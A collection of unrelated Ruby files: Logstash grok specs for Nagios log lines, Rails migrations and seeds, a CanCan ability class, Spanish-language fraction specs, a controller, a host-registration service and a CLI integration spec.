# encoding: utf-8 require "spec_helper" require "logstash/patterns/core" describe "NAGIOSLOGLINE - CURRENT HOST STATE" do let(:value) { "[1427925600] CURRENT HOST STATE: nagioshost;UP;HARD;1;PING OK - Packet loss = 0%, RTA = 2.24 ms" } let(:grok) { grok_match(subject, value) } it "a pattern pass the grok expression" do expect(grok).to pass end it "matches a simple message" do expect(subject).to match(value) end it "generates the nagios_epoch field" do expect(grok).to include("nagios_epoch" => "1427925600") end it "generates the nagios_message field" do expect(grok).to include("nagios_message" => "PING OK - Packet loss = 0%, RTA = 2.24 ms") end it "generates the nagios_hostname field" do expect(grok).to include("nagios_hostname" => "nagioshost") end it "generates the nagios_state field" do expect(grok).to include("nagios_state" => "UP") end it "generates the nagios_statetype field" do expect(grok).to include("nagios_statetype" => "HARD") end end describe "NAGIOSLOGLINE - CURRENT SERVICE STATE" do let(:value) { "[1427925600] CURRENT SERVICE STATE: nagioshost;nagiosservice;OK;HARD;1;nagiosmessage" } let(:grok) { grok_match(subject, value) } it "a pattern pass the grok expression" do expect(grok).to pass end it "matches a simple message" do expect(subject).to match(value) end it "generates the nagios_type field" do expect(grok).to include("nagios_type" => "CURRENT SERVICE STATE") end it "generates the nagios_epoch field" do expect(grok).to include("nagios_epoch" => "1427925600") end it "generates the nagios_message field" do expect(grok).to include("nagios_message" => "nagiosmessage") end it "generates the nagios_hostname field" do expect(grok).to include("nagios_hostname" => "nagioshost") end it "generates the nagios_service field" do expect(grok).to include("nagios_service" => "nagiosservice") end it "generates the nagios_state field" do expect(grok).to include("nagios_state" => "OK") end it "generates the nagios_statetype field" do expect(grok).to include("nagios_statetype" => "HARD") end end describe "NAGIOSLOGLINE - TIMEPERIOD TRANSITION" do let(:value) { "[1427925600] TIMEPERIOD TRANSITION: 24X7;-1;1" } let(:grok) { grok_match(subject, value) } it "a pattern pass the grok expression" do expect(grok).to pass end it "matches a simple message" do expect(subject).to match(value) end it "generates the nagios_type field" do expect(grok).to include("nagios_type" => "TIMEPERIOD TRANSITION") end it "generates the nagios_epoch field" do expect(grok).to include("nagios_epoch" => "1427925600") end it "generates the nagios_esrvice field" do expect(grok).to include("nagios_service" => "24X7") end it "generates the period from/to fields" do expect(grok).to include("nagios_unknown1" => "-1", "nagios_unknown2" => "1") end # Regression test for but fixed in Nagios patterns #30 it "doesn't end in a semi-colon" do expect(grok['message']).to_not end_with(";") end end describe "NAGIOSLOGLINE - SERVICE ALERT" do let(:value) { "[1427925689] SERVICE ALERT: varnish;Varnish Backend Connections;CRITICAL;SOFT;1;Current value: 154.0, warn threshold: 10.0, crit threshold: 20.0" } let(:grok) { grok_match(subject, value) } it "a pattern pass the grok expression" do expect(grok).to pass end it "matches a simple message" do expect(subject).to match(value) end it "generates the nagios_type field" do expect(grok).to include("nagios_type" => "SERVICE ALERT") end it "generates the nagios_epoch field" do expect(grok).to include("nagios_epoch" => "1427925689") end it "generates the nagios_hostname field" do expect(grok).to include("nagios_hostname" => "varnish") end it "generates the nagios_service field" do expect(grok).to include("nagios_service" => "Varnish Backend Connections") end it "generates the nagios_state field" do expect(grok).to include("nagios_state" => "CRITICAL") end it "generates the nagios_statelevel field" do expect(grok).to include("nagios_statelevel" => "SOFT") end it "generates the nagios_message field" do expect(grok).to include("nagios_message" => "Current value: 154.0, warn threshold: 10.0, crit threshold: 20.0") end end describe "NAGIOSLOGLINE - SERVICE NOTIFICATION" do let(:value) { "[1427950229] SERVICE NOTIFICATION: nagiosadmin;varnish;Varnish Backend Connections;CRITICAL;notify-service-by-email;Current value: 337.0, warn threshold: 10.0, crit threshold: 20.0" } let(:grok) { grok_match(subject, value) } it "a pattern pass the grok expression" do expect(grok).to pass end it "matches a simple message" do expect(subject).to match(value) end it "generates the nagios_type field" do expect(grok).to include("nagios_type" => "SERVICE NOTIFICATION") end it "generates the nagios_epoch field" do expect(grok).to include("nagios_epoch" => "1427950229") end it "generates the nagios_notifyname field" do expect(grok).to include("nagios_notifyname" => "nagiosadmin") end it "generates the nagios_hostname field" do expect(grok).to include("nagios_hostname" => "varnish") end it "generates the nagios_service field" do expect(grok).to include("nagios_service" => "Varnish Backend Connections") end it "generates the nagios_state field" do expect(grok).to include("nagios_state" => "CRITICAL") end it "generates the nagios_contact field" do expect(grok).to include("nagios_contact" => "notify-service-by-email") end it "generates the nagios_message field" do expect(grok).to include("nagios_message" => "Current value: 337.0, warn threshold: 10.0, crit threshold: 20.0") end end describe "NAGIOSLOGLINE - HOST NOTIFICATION" do let(:value) { "[1429878690] HOST NOTIFICATION: nagiosadmin;nagioshost;DOWN;notify-host-by-email;CRITICAL - Socket timeout after 10 seconds" } let(:grok) { grok_match(subject, value) } it "a pattern pass the grok expression" do expect(grok).to pass end it "matches a simple message" do expect(subject).to match(value) end it "generates the nagios_type field" do expect(grok).to include("nagios_type" => "HOST NOTIFICATION") end it "generates the nagios_epoch field" do expect(grok).to include("nagios_epoch" => "1429878690") end it "generates the nagios_notifyname field" do expect(grok).to include("nagios_notifyname" => "nagiosadmin") end it "generates the nagios_hostname field" do expect(grok).to include("nagios_hostname" => "nagioshost") end it "generates the nagios_contact field" do expect(grok).to include("nagios_contact" => "notify-host-by-email") end it "generates the nagios_message field" do expect(grok).to include("nagios_message" => "CRITICAL - Socket timeout after 10 seconds") end end
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) unless TwitterSetting.instance hash_tags = ['deeplearning', 'nvidia', 'bigdata', 'datascience', 'ai', 'artificialintelligence', 'machinelearning', 'tensorflow', 'cuda', 'neuralstyle', 'ml', 'neuralnetworks',] similar_accounts = ['deeplearningldn', 'AndrewYNg', 'deeplearning4j', 'DeepLearningHub', 'OpenAI', 'nervanasys', 'ylecun', 'stanfordnlp', 'fchollet',] TwitterSetting.create(follow_daily_count: 100, similar_accounts: similar_accounts, related_hashtags: hash_tags) end
# frozen_string_literal: true class CreateHouses < ActiveRecord::Migration[6.1] def change create_table :houses do |t| t.integer :category, null: false t.integer :size, null: false t.integer :rooms, null: false t.integer :bathrooms, null: false t.integer :price, null: false t.string :address t.string :link, null: false, unique: true t.references :owner, null: false, foreign_key: true t.timestamps end end end
class Ability include CanCan::Ability def initialize(user, controller_namespace) user ||= User.new case controller_namespace when 'Admin' can :manage, :all if user.admin? else can :read, :all can :update, User,id: user.id end end end
require "lib/fraction.rb" describe Fraction do before :each do @f1 = Fraction.new(1,4) @f2 = Fraction.new(4,6) @f3 = Fraction.new(4,7) end describe "#Almacenamiento del numerador y denominador: " do it "Almacenamiento ok del numerador" do @f1.num.should eq(1) end it "Almacenamiento ok del denominador" do @f1.den.should eq(4) end it "Almacenamiento ok minimo del numerador" do @f2.num.should eq(2) end it "Almacenamiento ok minimo del denominador" do @f2.den.should eq(3) end end describe "#Llamadas a los metodos num() y den():" do it "Obtencion del numerador" do @f2.num().should eq(2) end it "Obtencion del denominador" do @f2.den().should eq(3) end end describe "#Mostrar en string" do it "String de la fraccion 1" do @f1.to_string().should eq("1/4") end it "String de la fraccion 2" do @f2.to_string().should eq("2/3") end end describe "#Mostrar en float" do it "Float de la fraccion 1" do @f1.to_float().should eq(0.25) end end describe "#Suma de fracciones" do it "Suma de f1 y f2, numerador" do @f1.+(@f2).num.should eq(11) end it "Suma de f1 y f2, denominador" do @f1.+(@f2).den.should eq(12) end end describe "#Resta de fracciones" do it "Resta de f1 y f2, numerador" do @f1.-(@f2).num.should eq(-5) end it "Resta de f1 y f2, denominador" do @f1.-(@f2).den.should eq(12) end end describe "#Multiplicacion de fracciones" do it "Multiplicacion de f1 y f2, numerador" do @f1.*(@f2).num.should eq(1) end it "Multiplicacion de f1 y f2, denominador" do @f1.*(@f2).den.should eq(6) end end describe "#Division de fracciones" do it "Division de f1 y f2, numerador" do @f1./(@f2).num.should eq(3) end it "Division de f1 y f2, denominador" do @f1./(@f2).den.should eq(8) end end describe "#Valor absoluto de fracciones" do it "Valor absoluto de f1, numerador" do @f1.abs().num.should eq(1) end it "Valor absoluto de f1, denominador" do @f1.abs().den.should eq(4) end end describe "#Opuesto de fracciones" do it "Opuesto de f1, numerador" do @f1.-@().num.should eq(-1) @f1.-@().den.should eq(4) end end describe "#Reciproco de fracciones" do it "Reciproco de f1" do @f1.reciprocal().num.should eq(4) @f1.reciprocal().den.should eq(1) end it "Reciproco de f1" do @f2.reciprocal().num.should eq(3) @f2.reciprocal().den.should eq(2) end end describe "#Reciproco de la division de dos fracciones" do it "Reciproco de f1/f2" do @f1.reciprocal_div(@f2).num.should eq(8) @f1.reciprocal_div(@f2).den.should eq(3) end end describe "#Comparacion de igualdad de fracciones" do it "Comparacion de f1 y f2" do @f1.==(@f2).should eq(false) end end describe "#Comparaciones" do it "Comparacion < de f1 y f2" do @f1.<(@f2).should eq(true) end it "Comparacion > de f1 y f2" do @f1.>(@f2).should eq(false) end it "Comparacion <= de f1 y f2" do @f1.<=(@f2).should eq(true) end it "Comparacion >= de f1 y f2" do @f1.>=(@f2).should eq(false) end end describe "#Modulo de 2 fracciones" do it "modulo de f1 y f2" do @f3.%(@f2).should eq(12) end end end
require 'spec_helper' module BakerServer describe Issue do it "fails validation with no issue_id" do Issue.new.should have(1).error_on(:issue_id) end it "fails validation with no summary" do Issue.new.should have(1).error_on(:summary) end it "fails validation with no published date" do Issue.new.should have(1).error_on(:published_date) end it "fails validation with summary greatthan 2000 chars" do Issue.new(summary: "a"*2001).should have(1).error_on(:summary) end it "fails validation when published date is greater than end date" do pending("check why this is failing when the application is behaving as expected") #Issue.new(published_date: Date.today, end_date: Date.yesterday).should have(1).error_on(:published_date) end end end
class ProgramsController < ApplicationController before_filter :set_subnav def index mixpanel.track '[visits] Course Index' end def level_one @level = 'Beginner' @bootcamps = Bootcamp.beginner.published.by_date set_reviews(1) mixpanel.track '[visits] Course Page', level: @level end def level_two @level = 'Intermediate' @bootcamps = Bootcamp.intermediate.published.by_date set_reviews(2) mixpanel.track '[visits] Course Page', level: @level end def level_three @level = 'Advanced' @bootcamps = Bootcamp.advanced.published.by_date set_reviews(3) mixpanel.track '[visits] Course Page', level: @level end def frontend_bootcamp @level = 'Frontend' mixpanel.track '[visits] Course Page', level: @level redirect_to courses_path, notice: t(:course_no_longer_exists), status: :moved_permanently end private def set_reviews(level) @reviews = Review.published.where(language: I18n.locale) .joins(:student, :bootcamp) .where(bootcamps: { level: level }) .order(original_date: :desc) end def set_subnav @nav_items = { 'Overview' => courses_path } end end
class AddApiEchoedToInstances < ActiveRecord::Migration def change add_column :instances, :api_echoed, :integer, default: 0 end end
class ApplicationService < PutitService def add_application(payload) app = Application.find_or_create_by!(name: payload[:name]) if payload[:version] app.versions.find_or_create_by!(version: payload[:version]) end logger.info( "Application #{payload[:name]} with #{payload[:version]} added." ) app end def add_envs(application, payload) result = [] conflicts = [] Array.wrap(payload).each do |env| Application.transaction do begin e = application.envs.create!(name: env[:name]) result.push(env_id: e.id) rescue ActiveRecord::RecordInvalid conflicts.push(env[:name]) raise ActiveRecord::Rollback end default_properties = { 'putit_app_name' => application.name, 'putit_env_name' => e.name } PROPERTIES_STORE[e.properties_key] = default_properties end end [result, conflicts] end def add_hosts(application, env_name, payload, raise_on_errors = true) result = [] errors = [] conflicts = [] Array.wrap(payload).map do |host| Application.transaction do begin unless FQDN_REGEX.match(host[:fqdn]) error = "Host FQDN \"#{host[:fqdn]}\" does not match regex: #{FQDN_REGEX}." if raise_on_errors request_halt(error, 400) else errors.push(fqdn: host[:fqdn], error: error) return end end unless host[:ip] begin host[:ip] = Resolv::DNS.new.getaddress(host[:fqdn]).to_s rescue StandardError error = "DNS has no information for \"#{host[:fqdn]}\"" if raise_on_errors raise PutitExceptions::HostDNSError else errors.push(ip: host[:ip], error: error) return end end end env = application.envs.find_by_name(env_name) host = env.hosts.create!( name: host[:name], fqdn: host[:fqdn], ip: host[:ip] ) logger.info("Added #{host.inspect} to env: #{env.name}") result.push(host_id: host.id) rescue ActiveRecord::RecordInvalid conflicts.push(host[:fqdn]) raise ActiveRecord::Rollback end end end [result, conflicts, errors] end end
require 'spec_helper' require 'open3' require 'yaml' EXE_PATH = File.expand_path('../../exe/quaker', __FILE__) FIXTURES_PATH = File.expand_path('../fixtures', __FILE__) def exec args cmd = "cd #{FIXTURES_PATH} && bundle exec #{EXE_PATH} #{args}" stdin, stdout, stderr = Open3.popen3(cmd) stdout_content = stdout.read begin YAML.load(stdout_content) rescue Exception => ex STDERR.puts "Error parsing: #{stdout_content}" STDERR.puts "STDERR: #{stderr.read}" end end describe Quaker do let (:fixtures_dir) { } describe 'Integration' do it 'outputs correct result' do spec = exec '-t ui' services = spec["services"] expect(services).not_to be_empty expect(services.keys).to contain_exactly 'web', 'redis' end end end